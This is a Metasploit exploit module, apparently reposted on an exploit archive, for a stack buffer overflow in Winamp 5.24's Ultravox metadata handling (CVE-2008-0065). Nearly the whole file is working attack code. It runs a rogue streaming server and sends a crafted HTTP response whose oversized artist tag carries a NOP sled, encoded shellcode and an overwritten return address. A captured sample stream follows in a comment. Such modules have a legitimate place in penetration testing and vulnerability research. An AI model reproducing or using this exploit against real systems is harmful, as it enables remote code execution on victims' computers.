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winamp_ultravox.rb.txt

Posted on 26 November 2009

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name'           => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
'Description'    => %q{
This module exploits a stack overflow in Winamp 5.24. By
sending an overly long artist tag, a remote attacker may
be able to execute arbitrary code. This vulnerability can be
exploited from the browser or the winamp client itself.
},
'Author'         => 'MC',
'License'        => MSF_LICENSE,
'Version'        => '$Revision$',
'References'     =>
[
[ 'CVE', '2008-0065' ],
[ 'OSVDB', '41707' ],
[ 'BID', '27344' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'        =>
{
'Space'    => 700,
'BadChars' => "x00x09x0ax0dx20x22x25x26x27x2bx2fx3ax3cx3ex3fx40",
'StackAdjustment' => -3500,
'PrependEncoder' => "x81xc4xffxefxffxffx44",
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
],
'Privileged'     => false,
'DisclosureDate' => 'Jan 18 2008',
'DefaultTarget'  => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

res = client.get_once

content =  "x00x01x00x01x00x01" + "<metadata><song><artist>"
content << make_nops(3828 - payload.encoded.length) + payload.encoded
content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
content << "</artist></song></metadata>"

sploit =  "x5ax00x39x01" + [content.length].pack('n')
sploit << content + "x00"

# randomize some stuff.
num    = rand(65535).to_s

header =  "HTTP/1.0 200 OK
"
header << "Server: Ultravox 3.0
"
header << "Content-Type: misc/ultravox
"
header << "Ultravox-SID: #{num}
"
header << "Ultravox-Avg-Bitrate: #{num}
"
header << "Ultravox-Max-Bitrate: #{num}
"
header << "Ultravox-Max-Msg: #{num}
"
header << "Ultravox-Stream-Info: Ultravox;Live Stream
"
header << "Ultravox-Msg-Que: #{num}
"
header << "Ultravox-Max-Fragments: 1

"
header << sploit

print_status("Sending #{header.length} bytes to #{client.peerhost}:#{client.peerport}...")

client.put(header)
handler(client)

service.close_client(client)
end

end


=begin
HTTP/1.0 200
.Server: Ultravo
x 3.0..Content-T
ype: misc/ultrav
ox..Ultravox-SID
: 22221..Ultravo
x-Avg-Bitrate: 6
4000..Ultravox-M
ax-Bitrate: 9600
0..Ultravox-Max-
Msg: 16000..Ultr
avox-Stream-Info
: Ultravox;Live
Stream..Ultravox
-Msg-Que: 39..Ul
travox-Max-Fragm

Z.9..,......<met
adata><length>0<
/length><soon>Mo
re on
</soon><song><na
me>The Night
ghts In
tin</name><album
>Days Of
Passed</album><a
rtist>The Moody
Blues</artist><a
lbum_art>xm/stat
ion_logo_WBCRHT.
jpg</album_art><
album_art_200>xm
/station_logo_WB
CRHT_200.jpg</al
bum_art_200><ser
ial>-1</serial><
song_id>-1</song
_id><amg_song_id
>-1</amg_song_id
><amg_artist_id>
-1</amg_artist_i
d><amg_album_id>
-1</amg_album_id
><itunes_song_id
>-1</itunes_song
_id><itunes_arti
st_id>-1</itunes
_artist_id><itun
es_album_id>-1</
itunes_album_id>
</song></metadat
a>.Z......../!.
!.UP.......B...&
Z....D)ydB.,.vy/
=end

 

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